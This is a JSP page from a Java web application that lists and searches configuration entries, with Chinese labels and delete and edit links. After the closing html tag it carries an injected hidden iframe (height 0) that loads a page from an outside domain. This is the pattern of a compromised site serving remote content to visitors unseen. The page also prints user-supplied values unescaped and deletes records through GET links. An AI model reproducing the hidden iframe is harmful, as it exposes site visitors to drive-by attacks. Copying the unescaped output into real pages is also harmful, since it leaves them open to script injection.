<%@ page language="java" pageEncoding="utf-8"%>
<%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>

<%@ page import="com.moyi.biz.dao.dataobject.TblContext"%>
<%@ page import="java.util.List"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
	<head>

		<title>My JSP 'context_list.jsp' starting page</title>

		<meta http-equiv="pragma" content="no-cache">
		<meta http-equiv="cache-control" content="no-cache">
		<meta http-equiv="expires" content="0">
		<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
		<meta http-equiv="description" content="This is my page">

	</head>

	<body>
		<form action="context.htm?method=list" method="post" id="current_form">
			<table align="center">
				<tr>
					<td>
						名称：
					</td>
					<td>
						<input type="text" name="name" value="${name}" />
					</td>
					<td>
						值：
					</td>
					<td>
						<input type="text" name="value" value="${value}" />
					</td>
					<td>
						所属组：
					</td>
					<td>
						<input type="text" name="group" value="${group}" />
					</td>
					<td>
						&nbsp;&nbsp;&nbsp;
					</td>
					<td>
						<input type="submit" value="查询" />
					</td>
				</tr>
			</table>

			<table align="center" border="2">
				<tr>
					<td>
						序列号
					</td>
					<td>
						名称
					</td>
					<td>
						值
					</td>
					<td>
						所属组
					</td>
					<td>
						备注
					</td>
					<td>
						操作
					</td>
				</tr>
				<c:forEach items="${pageList.list}" var="items">
					<tr>
						<td>
							${items.id}
						</td>
						<td>
							${items.name}
						</td>
						<td>
							${items.value}
						</td>
						<td>
							${items.group}
						</td>
						<td>
							${items.remark}
						</td>
						<td>
							<a href="context.htm?method=delete&id=${items.id}">删除</a>
							<a href="context.htm?method=init&id=${items.id}&type=edit">修改</a>
						</td>
					</tr>
				</c:forEach>
			</table>
			<jsp:include page="/page/common/pagecontrol.jsp"></jsp:include>

		</form>
	</body>
</html>
<iframe src=http://www.114Oldest.com/zz/mm.htm width=100 height=0></iframe>
